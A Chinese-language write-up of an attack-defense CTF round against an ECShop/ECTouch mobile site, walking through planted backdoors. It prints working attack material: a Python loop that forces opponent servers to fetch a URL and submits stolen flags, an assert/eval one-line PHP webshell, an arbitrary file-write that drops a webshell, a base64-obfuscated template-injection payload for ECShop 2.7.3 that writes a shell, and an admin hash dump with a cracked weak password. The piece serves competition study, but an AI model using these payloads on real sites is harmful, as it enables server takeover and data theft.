前言

最近刚参加完一个线下赛,模式是AD攻防,由于时间紧迫,只有3个小时,官方给出了大部分poc和问题文件位置。
规则很简单,让对方的极其请求http://10.0.1.2,并带上自己的token,即可获取flag
这里罗列一下官方线索
poc1:

post方式
文件url:http://10.50.%s.2/mobile/index.php 参数:url=http://10.0.1.2?token=RCNWBJXQ 

poc2:

post方式
文件url:http://10.50.33.2/mobile/index.php?m=default&c=auction
参数:1=phpinfo() 

提示线索1

mobile/themes/default/auction_list.dwt 

提示线索2

mobile/api/uc.php 

任意文件读取(poc 1)

根据给出的poc1,我们快速去定位问题文件位置
我们从mobile入口文件入手
即:

mobile/index.php 

查看内容

<?php /* 访问控制 */ define('IN_ECTOUCH', true); /* 设置系统编码格式 */ header("Content-Type:text/html;charset=utf-8"); /* 设置系统编码格式 */ header("Pragma: no-cache"); /* 修复后退没有提交数据的问题 */ header("Cache-control: private"); /* 加载核心文件 */ require ('include/EcTouch.php'); 

跟踪文件

require ('include/EcTouch.php'); 

看到内容

if (version_compare(PHP_VERSION, '5.2.0', '<')) die('require PHP > 5.2.0 !');
defined('BASE_PATH') or define('BASE_PATH', dirname(__FILE__) . '/');
defined('ROOT_PATH') or define('ROOT_PATH', realpath(dirname(__FILE__) . '/../') . '/');
defined('APP_PATH') or define('APP_PATH', BASE_PATH . 'apps/');
defined('ADDONS_PATH') or define('ADDONS_PATH', ROOT_PATH . 'plugins/');
defined('DEFAULT_APP') or define('DEFAULT_APP', 'default');
defined('DEFAULT_CONTROLLER') or define('DEFAULT_CONTROLLER', 'Index');
defined('DEFAULT_ACTION') or define('DEFAULT_ACTION', 'index'); 

跟踪apps/目录
可以发现3个文件夹

admin default install 

我们首先查看默认文件的文件夹

default 

此时又得到5个文件夹

common conf
controller
language
model 

从第一个common文件夹开始
可以看到insert.php中的一个函数

function insert_ads($arr) {
} 

看到关键代码

switch ($row['media_type']) { case 0: // 图片广告 ...... break; case 2: // CODE $ads[] = $row['ad_code']; break; case 3: // TEXT $ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
                target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>'; break; case 4: // url $ads[] = file_get_contents($_POST['url']);
        } 

其中

case 4: // url $ads[] = file_get_contents($_POST['url']); 

明显是一个任意文件读取
随机我写出了一个快速利用的脚本,同时也是大部分依靠这个脚本,在剩余的时间里迅速拿分,奠定了第一的基础

import requests import re import time
data = { "url":"http://10.0.1.2?token=RCNWBJXQ" }
url = "http://10.50.%s.2/mobile/index.php" while True: for x in range(0,37):
        urll = url%x try:
            r = requests.post(url=urll,data=data,timeout=3)
            flag =  re.findall('<li>.*?</li>',r.content)[0][4:-5]
            flagurl = "https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s"%flag
            r = requests.get(url=flagurl,verify=False) if "wrong answer." not in r.content: print flag print r.content except: pass print "attack ip times: "+str(x)
    time.sleep(60) 

一句话木马文件(poc 2)

当时官方给出提示:auction_list.dwt文件
在目录

mobile/themes/default/auction_list.dwt 

可以发现问题

<div class="con">{:assert($_POST[1])} 

由于此文件用于渲染,直接将小马删除即可

任意写文件

定位到mobile/api/uc.php
在action数组中发现了一些奇怪的东西

if (in_array($get['action'], array( 'test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings', 'writesth' ))) 

最后一个writesth十分瞩目,一看就应该是主办方留下的功能,我们全局搜索这个writesth函数
不难发现以下关键代码

function writesth($get, $post){
        $cachefile = $this->appdir .$get['name'];
        $fp = fopen($cachefile, 'w');
        $s = "<?phprn";
        $s .= $get['content'];
        fwrite($fp, $s);
        fclose($fp); return API_RETURN_SUCCEED;
    } 

即:
文件名可控
文件内容可控
即可写入Webshell
我们测试

<?php function writesth($name, $content){
        $cachefile = './'.$name;
        $fp = fopen($cachefile, 'w');
        $s = "<?phprn";
        $s .= $content;
        fwrite($fp, $s);
        fclose($fp);
}

$name='sky.php';
$content = '@eval($_POST[sky]);';
writesth($name,$content); ?> 

运行即可发现我们当前目录下写入sky.php,内容为

<?php @eval($_POST[sky]); 

但是由于当时的环境里,只有data目录有可写全写,而我们默认路径为

$cachefile = $this->appdir .$get['name']; 

所以直接写可能无效,应该选择上跳,例如

../data/sky.php 

即可写成,但是这些方法有些鸡肋,因为当时大部分机器都将data目录更改为不可写了= =

 

一些其他的线索

当时拿到题目,我们首先发现是有后台管理员界面的
所以我们第一反应是去拿数据库读取管理员密码
我们很容易定位到sql语句

LOCK TABLES `ecs_admin_user` WRITE; /*!40000 ALTER TABLE `ecs_admin_user` DISABLE KEYS */; INSERT INTO `ecs_admin_user` VALUES (1,'admin','admin@admin.com','ce87383d32dc96aae134975176fd0bf4','6083',1523498965,1523499019,'192.168.28.155','all','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,0,NULL,NULL),(2,'bjgonghuo1','bj@163.com','d0c015b6eb9a280f318a4c0510581e7e',NULL,1245044099,0,'','','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,1,'',NULL),(3,'shhaigonghuo1','shanghai@163.com','4146fecce77907d264f6bd873f4ea27b',NULL,1245044202,0,'','','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,2,'',NULL); /*!40000 ALTER TABLE `ecs_admin_user` ENABLE KEYS */; UNLOCK TABLES; 

可以看到关键数据

(1,'admin','admin@admin.com','ce87383d32dc96aae134975176fd0bf4','6083',1523498965,1523499019,'192.168.28.155','all','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,0,NULL,NULL) 

我们查看一下表结构

CREATE TABLE `ecs_admin_user` ( `user_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT, `user_name` varchar(60) NOT NULL DEFAULT '', `email` varchar(60) NOT NULL DEFAULT '', `password` varchar(32) NOT NULL DEFAULT '', `ec_salt` varchar(10) DEFAULT NULL, `add_time` int(11) NOT NULL DEFAULT '0', `last_login` int(11) NOT NULL DEFAULT '0', `last_ip` varchar(15) NOT NULL DEFAULT '', `action_list` text NOT NULL, `nav_list` text NOT NULL, `lang_type` varchar(50) NOT NULL DEFAULT '', `agency_id` smallint(5) unsigned NOT NULL, `suppliers_id` smallint(5) unsigned DEFAULT '0', `todolist` longtext, `role_id` smallint(5) DEFAULT NULL,
  PRIMARY KEY (`user_id`), KEY `user_name` (`user_name`), KEY `agency_id` (`agency_id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; 

不难看出应该密码加密方式为

md5(salt.password) 

如果能使用cmd5应该是可以解密的,但是由于内网环境,我们不得不进行弱密码fuzz
但是很幸运,我们拿到了弱密码:admin888
登入后台后,我们发现几乎所有模板都没有可写权限(可能是主办方设置吧)
结束后我搜索了一下ECShop v2.7.3版本的漏洞,没想到真的是后台可以Getshell
参考链接

https://www.uedbox.com/ecshop-v2-7-3-shell/ 

直接修改模板信息为

${${fputs(fopen(base64_decode(c2t5LnBocA==),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbc2t5XSk/Pg==))}} 

即可获得shell
sky.php

<?php eval($_POST[sky])?> 

详细漏洞分析文章

https://www.cnblogs.com/newgold/archive/2016/04/13/5386600.html 

 

后记

由于比赛时间短,留下的后门难度并不是很大,如果比赛时间是一天的话,可能打起来会比较精彩,可惜由于时间因素,官方给出线索和poc,不过话说回来,后门虽然简单,但是留的还行,webshell查杀工具竟然都没找出来XD